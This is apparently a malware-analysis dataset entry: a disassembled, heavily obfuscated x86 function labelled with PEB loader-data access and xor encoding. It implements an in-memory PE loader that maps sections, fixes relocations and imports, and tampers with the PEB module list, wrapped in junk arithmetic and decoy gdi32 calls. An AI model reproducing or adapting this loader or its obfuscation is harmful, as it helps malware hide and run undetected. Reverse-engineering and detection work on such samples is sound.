Function at 0x416079
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
push ebx
push esi
push edi
push ebp
push 0x416745
push dword fs:[0]
mov dword fs:[0], esp
push dword [ebp + 8]
pop esi
add esi, dword [esi + 0x3c]
and edx, 0x36ac48d6
and edx, 0xc953b729
push edx
push 0xba67ca0
xor dword [esp], 0x54186cd3
ror dword [esp], 0xe
push 0x2923
ror dword [esp], 2
ror dword [esp], 0x1e
mov dword [ebp - 0x10], 0
xor dword [ebp - 0x10], esi
call sub.gdi32.dll_SetMapperFlags
push eax
pop edx
push 0
pop esi
add esi, dword [ebp - 0x10]
pop edx
push edx
push dword [esi + 0x50]
push edx
push 0x8000040
push edx
push 0x258fbf2e
ror dword [esp], 8
add dword [esp], 0xd1da7040
push dword [0x4284b8]
pop edx
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
call edx
shr edx, 8
shr edx, 0x17
shr edx, 1
not edx
xor edx, eax
not edx
shr esi, 7
shr esi, 0x18
shr esi, 1
xor esi, dword [ebp - 0x10]
test edx, edx
je 0x416971
mov dword [ebp - 4], 0
or dword [ebp - 4], edx
shr edx, 0x13
shr edx, 0xc
shr edx, 1
push edx
push 0x5747dd99
ror dword [esp], 0x1a
add dword [esp], 0x2e08c4a3
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
call sub.gdi32.dll_CloseFigure
shr edx, 0x1f
shr edx, 1
xor edx, eax
push dword [ebp - 0x10]
pop esi
pop edx
push edx
push edx
push edx
push 0xf001f
push dword [ebp - 4]
and edx, 0
or edx, dword [0x4284bc]
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
call edx
sub edx, edx
or edx, eax
imul esi, esi, 0
not esi
xor esi, dword [ebp - 0x10]
not esi
push edx
sub edx, 0
pop edx
je 0x416804
push edx
pop dword [ebp - 0x44]
cld
push dword [ebp + 8]
pop ebx
sub ecx, ecx
add ecx, dword [ebp - 0x44]
and eax, 0
add eax, dword [esi + 0x54]
shr eax, 2
push esi
shl esi, 5
shl esi, 0x1a
shl esi, 1
xor esi, ebx
push 0
pop edi
or edi, ecx
push ecx
push eax
pop ecx
rep movsd dword es:[edi], dword [esi]
mov eax, 0
or eax, ecx
pop ecx
xor ecx, ecx
or ecx, edi
xor ebx, ebx
add ebx, esi
pop esi
movzx edi, word [esi + 6]
shr edx, 0x1f
shr edx, 1
xor edx, esi
add edx, 0xf8
shr eax, 0x1f
shr eax, 1
xor eax, dword [edx + 0x10]
lea ebx, [0]
or ebx, dword [edx + 0x14]
mov ecx, 0
xor ecx, dword [edx + 0xc]
add ebx, dword [ebp + 8]
add ecx, dword [ebp - 0x44]
push esi
imul esi, esi, 0
xor esi, ebx
push edi
shl edi, 0x1f
shl edi, 1
not edi
xor edi, ecx
not edi
push ecx
mov ecx, eax
rep movsb byte es:[edi], byte [esi]
push ecx
pop eax
pop ecx
sub ecx, ecx
or ecx, edi
pop edi
shl ebx, 0x11
shl ebx, 0xe
shl ebx, 1
not ebx
xor ebx, esi
not ebx
pop esi
add edx, 0x28
dec edi
jne 0x4161fc
cmp dword [esi + 0xa0], 0
je 0x41634e
push 0
pop edx
add edx, dword [esi + 0xa0]
add edx, dword [ebp - 0x44]
imul eax, eax, 0
or eax, dword [esi + 0xa4]
cmp eax, 0
je 0x41634e
sub eax, dword [edx + 4]
push eax
shr edi, 0x1b
shr edi, 4
shr edi, 1
add edi, dword [ebp + 0xc]
sub edi, dword [esi + 0x34]
push edi
push edx
pop edi
add edi, 8
push edi
and edi, 0
add edi, dword [edx + 4]
sub edi, 8
shr edi, 1
push edi
imul edi, edi, 0
or edi, dword [edx]
add edi, dword [ebp - 0x44]
push edi
push edx
push 0x51a51984
xor dword [esp], 0x3be5e4bc
sub dword [esp], 0xd4b01822
add dword [esp], 0x6a6f4f54
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
push ebx
pop dword [ebp - 8]
mov dword [ebp - 0xc], 0
or dword [ebp - 0xc], ecx
call sub.gdi32.dll_GetDCBrushColor
shl edx, 0x1f
shl edx, 1
add edx, eax
sub esi, esi
add esi, dword [ebp - 0x10]
imul ecx, ecx, 0
add ecx, dword [ebp - 0xc]
mov ebx, 0
or ebx, dword [ebp - 8]
pop edx
shl edx, 0x1f
shl edx, 1
add edx, dword [0x4284d0]
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
or dword [ebp - 8], ebx
mov dword [ebp - 0xc], 0
or dword [ebp - 0xc], ecx
call edx
shl edx, 0x1f
shl edx, 1
not edx
xor edx, eax
not edx
mov esi, 0
add esi, dword [ebp - 0x10]
sub ebx, ebx
or ebx, dword [ebp - 8]
push dword [ebp - 0xc]
pop ecx
pop eax
cmp edx, 0
jne 0x416273
cmp dword [esi + 0x80], 0
je 0x41661b
imul ecx, ecx, 0
xor ecx, dword [esi + 0x80]
add ecx, dword [ebp - 0x44]
cmp dword [ecx + 0x10], 0
je 0x41661b
sub edx, edx
add edx, dword [ecx + 0xc]
add edx, dword [ebp - 0x44]
push edx
push 0
push 0
push str.H_Y8vtNs9q
push 0xdfdad583
ror dword [esp], 6
sub dword [esp], 0x4075954a
add dword [esp], 0x30f69d68
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
xor dword [ebp - 8], ebx
push ecx
pop dword [ebp - 0xc]
call sub.gdi32.dll_EnumFontFamiliesA
shl edx, 0x1f
shl edx, 1
or edx, eax
mov ebx, dword [ebp - 8]
mov esi, 0
xor esi, dword [ebp - 0x10]
imul ecx, ecx, 0
add ecx, dword [ebp - 0xc]
pop edx
push edx
mov edx, 0
add edx, dword [0x4284c0]
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
not dword [ebp - 8]
xor dword [ebp - 8], ebx
not dword [ebp - 8]
mov dword [ebp - 0xc], 0
add dword [ebp - 0xc], ecx
call edx
and edx, 0x481371f1
and edx, 0xb7ec8e0e
add edx, eax
sub esi, esi
add esi, dword [ebp - 0x10]
lea ecx, [0]
or ecx, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
cmp edx, 0
je 0x41674d
push edx
pop dword [ebp - 0x48]
push ecx
lea edx, [0]
add edx, dword [ecx]
cmp edx, 0
je 0x41644c
and ebx, 0x55d9bf02
and ebx, 0xaa2640fd
xor ebx, dword [ecx]
jg 0x416452
jmp 0x416452
imul ebx, ebx, 0
or ebx, dword [ecx + 0x10]
add ebx, dword [ebp - 0x44]
mov ecx, dword [ecx + 0x10]
add ecx, dword [ebp - 0x44]
cmp dword [ecx], 0
je 0x41660b
push eax
push 0
pop eax
not eax
xor eax, edx
not eax
push esi
mov esi, ebx
lodsd eax, dword [esi]
shl ebx, 6
shl ebx, 0x19
shl ebx, 1
not ebx
xor ebx, esi
not ebx
pop esi
mov edx, eax
pop eax
test edx, 0x80000000
jne 0x4164a5
add edx, dword [ebp - 0x44]
sub edx, 0x49fe2131
add edx, 0x49fe2132
add edx, 1
jo 0x4164ab
jno 0x4164ab
and edx, 0x7fffffff
push edx
push 0x90fb4167
sub dword [esp], 0x3c1d68d4
xor dword [esp], 0xc92fa93
push 0xaeae9dbd
xor dword [esp], 0x2fc0d189
rol dword [esp], 0x18
push 0xa97c66b8
xor dword [esp], 0x7b17b922
add dword [esp], 0x52c547f8
push 0x71c2f239
xor dword [esp], 0x5f86b4e0
xor dword [esp], 0x2e446d16
push 0xf8e8a2be
xor dword [esp], 0x63fb36f6
sub dword [esp], 0x6623c2bd
add dword [esp], 0x3bc8bf8d
push 0x2aef3926
sub dword [esp], 0xb760e79c
xor dword [esp], 0x473e8025
push 0xfebd72f1
rol dword [esp], 4
ror dword [esp], 0x14
push 0x4c1b615b
ror dword [esp], 6
ror dword [esp], 0x12
push 0x91ac958d
sub dword [esp], 0x9190850d
ror dword [esp], 6
mov dword [ebp - 0x10], 0
xor dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
not dword [ebp - 8]
xor dword [ebp - 8], ebx
not dword [ebp - 8]
mov dword [ebp - 0xc], ecx
call sub.gdi32.dll_BitBlt
shl edx, 8
shl edx, 0x17
shl edx, 1
not edx
xor edx, eax
not edx
sub ebx, ebx
not ebx
xor ebx, dword [ebp - 8]
not ebx
shl esi, 0x18
shl esi, 7
shl esi, 1
xor esi, dword [ebp - 0x10]
push 0
pop ecx
not ecx
xor ecx, dword [ebp - 0xc]
not ecx
pop edx
push edx
push dword [ebp - 0x48]
imul edx, edx, 0
xor edx, dword [0x4284c4]
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
xor dword [ebp - 8], ebx
push ecx
pop dword [ebp - 0xc]
call edx
and edx, 0x48fc9efb
and edx, 0xb7036104
not edx
xor edx, eax
not edx
push dword [ebp - 0xc]
pop ecx
lea esi, [0]
or esi, dword [ebp - 0x10]
sub ebx, ebx
or ebx, dword [ebp - 8]
push eax
lea eax, [0]
add eax, edx
push edi
imul edi, edi, 0
or edi, ecx
stosd dword es:[edi], eax
mov ecx, edi
pop edi
imul edx, edx, 0
add edx, eax
pop eax
jl 0x41645b
jmp 0x41645b
pop ecx
add ecx, 0x14
jo 0x416367
jno 0x416367
mov ecx, dword fs:[0x30]
push dword [ecx + 0xc]
pop ecx
push dword [ecx + 0x14]
pop ecx
sub ebx, ebx
add ebx, dword [ebp + 0xc]
imul edx, edx, 0
add edx, dword [ecx + 0x10]
or edx, edx
je 0x41668e
cmp ebx, edx
je 0x416642
push dword [ecx]
pop ecx
jmp 0x41662f
shr edx, 0x1f
shr edx, 1
add edx, dword [esi + 0x28]
cmp edx, 0
je 0x416652
add edx, dword [ebp + 0xc]
push 0
pop dword [ecx + 0x14]
xor dword [ecx + 0x14], edx
shr edx, 0x1f
shr edx, 1
add edx, dword [esi + 0x50]
push 0
pop dword [ecx + 0x18]
not dword [ecx + 0x18]
xor dword [ecx + 0x18], edx
not dword [ecx + 0x18]
mov esi, 0
not esi
xor esi, dword [ebp - 0x44]
not esi
add esi, dword [esi + 0x3c]
xor edx, edx
or edx, dword [ebp + 0xc]
push edx
pop dword [esi + 0x34]
push edx
push 0xa6d53cde
sub dword [esp], 0x9835137b
xor dword [esp], 0x57f8ada5
push 0
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
not dword [ebp - 8]
xor dword [ebp - 8], ebx
not dword [ebp - 8]
push ecx
pop dword [ebp - 0xc]
call sub.gdi32.dll_CreateDIBPatternBrush
imul edx, edx, 0
or edx, eax
mov esi, dword [ebp - 0x10]
mov ebx, 0
add ebx, dword [ebp - 8]
sub ecx, ecx
or ecx, dword [ebp - 0xc]
pop edx
push dword [ebp - 0x44]
shl edx, 0x1a
shl edx, 5
shl edx, 1
or edx, dword [0x4284c8]
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
or dword [ebp - 8], ebx
mov dword [ebp - 0xc], 0
add dword [ebp - 0xc], ecx
call edx
imul edx, edx, 0
not edx
xor edx, eax
not edx
xor esi, esi
or esi, dword [ebp - 0x10]
shl ecx, 0x1c
shl ecx, 3
shl ecx, 1
not ecx
xor ecx, dword [ebp - 0xc]
not ecx
mov ebx, 0
or ebx, dword [ebp - 8]
je 0x416971
jae 0x416971
jb 0x416971
mov esp, dword [esp + 8]
mov ebp, dword [esp + 8]
push edx
push str.VBz15Tq
push 0x91ee1bac
sub dword [esp], 0xdd3d042c
rol dword [esp], 0x12
push 0xce55bb19
rol dword [esp], 0x1a
xor dword [esp], 0x61d3b973
push 0x38cc0000
rol dword [esp], 8
ror dword [esp], 0x18
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
xor dword [ebp - 8], ebx
mov dword [ebp - 0xc], 0
add dword [ebp - 0xc], ecx
call sub.gdi32.dll_DrawEscape
xor edx, edx
xor edx, eax
and esi, 0x10cc75d6
and esi, 0xef338a29
or esi, dword [ebp - 0x10]
push 0
pop ecx
or ecx, dword [ebp - 0xc]
push 0
pop ebx
or ebx, dword [ebp - 8]
pop edx
push dword [ebp - 0x44]
and edx, 0x4bfd1455
and edx, 0xb402ebaa
not edx
xor edx, dword [0x4284c8]
not edx
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
push ebx
pop dword [ebp - 8]
mov dword [ebp - 0xc], 0
or dword [ebp - 0xc], ecx
call edx
push eax
pop edx
push dword [ebp - 8]
pop ebx
push dword [ebp - 0x10]
pop esi
sub ecx, ecx
add ecx, dword [ebp - 0xc]
push edx
push 0x1742cee1
xor dword [esp], 0x750f17fc
xor dword [esp], 0x2585c65f
push 0x9f9dbc
xor dword [esp], 0x6188edd0
add dword [esp], 0xcca4c192
push 0x3ebab16d
sub dword [esp], 0xe950eff6
rol dword [esp], 0xe
push 0x3a9aabcb
xor dword [esp], 0x3a9a2deb
ror dword [esp], 4
push 0x2e243d74
xor dword [esp], 0x1cfe9c26
ror dword [esp], 0x16
push 0xb506dc37
sub dword [esp], 0xb32402cd
sub dword [esp], 0xf02725ca
add dword [esp], 0x1be35451
push 0x60953e7e
xor dword [esp], 0x1b45419d
xor dword [esp], 0x7bd07738
push 0x99d34164
rol dword [esp], 0xc
add dword [esp], 0x205ad1e7
push 0x4ed71e81
ror dword [esp], 0x1c
rol dword [esp], 0x16
push 0xbd7ee409
rol dword [esp], 0x1e
rol dword [esp], 0x1a
push 0x60458c3f
sub dword [esp], 0x313020b3
rol dword [esp], 0xc
push 0x29fe219f
xor dword [esp], 0x42045ba2
add dword [esp], 0x94059295
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
xor dword [ebp - 8], ebx
push ecx
pop dword [ebp - 0xc]
call sub.gdi32.dll_MaskBlt
and edx, 0x212f646d
and edx, 0xded09b92
or edx, eax
push 0
pop ecx
add ecx, dword [ebp - 0xc]
push dword [ebp - 8]
pop ebx
mov esi, 0
xor esi, dword [ebp - 0x10]
pop edx
push dword [ebp - 4]
imul edx, edx, 0
not edx
xor edx, dword [0x4284cc]
not edx
mov dword [ebp - 0x10], 0
or dword [ebp - 0x10], esi
mov dword [ebp - 8], 0
add dword [ebp - 8], ebx
mov dword [ebp - 0xc], 0
or dword [ebp - 0xc], ecx
call edx
shr edx, 0x17
shr edx, 8
shr edx, 1
add edx, eax
push 0
pop esi
add esi, dword [ebp - 0x10]
lea ecx, [0]
xor ecx, dword [ebp - 0xc]
push dword [ebp - 8]
pop ebx
sub edx, edx
mov dword [ebp - 4], 0
or dword [ebp - 4], edx
push edx
push 0xfe098165
ror dword [esp], 0xa
not dword [esp]
xor dword [esp], 0x4d0c4284
not dword [esp]
push 0x9d518ab
xor dword [esp], 0x9d54157
rol dword [esp], 0x1e
mov dword [ebp - 0x10], 0
xor dword [ebp - 0x10], esi
push ebx
pop dword [ebp - 8]
push ecx
pop dword [ebp - 0xc]
call sub.gdi32.dll_SetMapperFlags
sub edx, edx
or edx, eax
push dword [ebp - 0xc]
pop ecx
push 0
pop esi
add esi, dword [ebp - 0x10]
push dword [ebp - 8]
pop ebx
pop edx
push 0x8000
push 0
push dword [ebp + 8]
push dword [0x4284b4]
pop edx
mov dword [ebp - 0x10], 0
not dword [ebp - 0x10]
xor dword [ebp - 0x10], esi
not dword [ebp - 0x10]
mov dword [ebp - 8], 0
or dword [ebp - 8], ebx
push ecx
pop dword [ebp - 0xc]
call edx
mov edx, 0
or edx, eax
imul esi, esi, 0
add esi, dword [ebp - 0x10]
shl ebx, 0x1f
shl ebx, 1
not ebx
xor ebx, dword [ebp - 8]
not ebx
lea ecx, [0]
xor ecx, dword [ebp - 0xc]
pop dword fs:[0]
add esp, 8
shr edx, 0x14
shr edx, 0xb
shr edx, 1
add edx, dword [ebp - 4]
mov eax, 0
not eax
xor eax, edx
not eax
pop edi
pop esi
pop ebx
leave
ret 8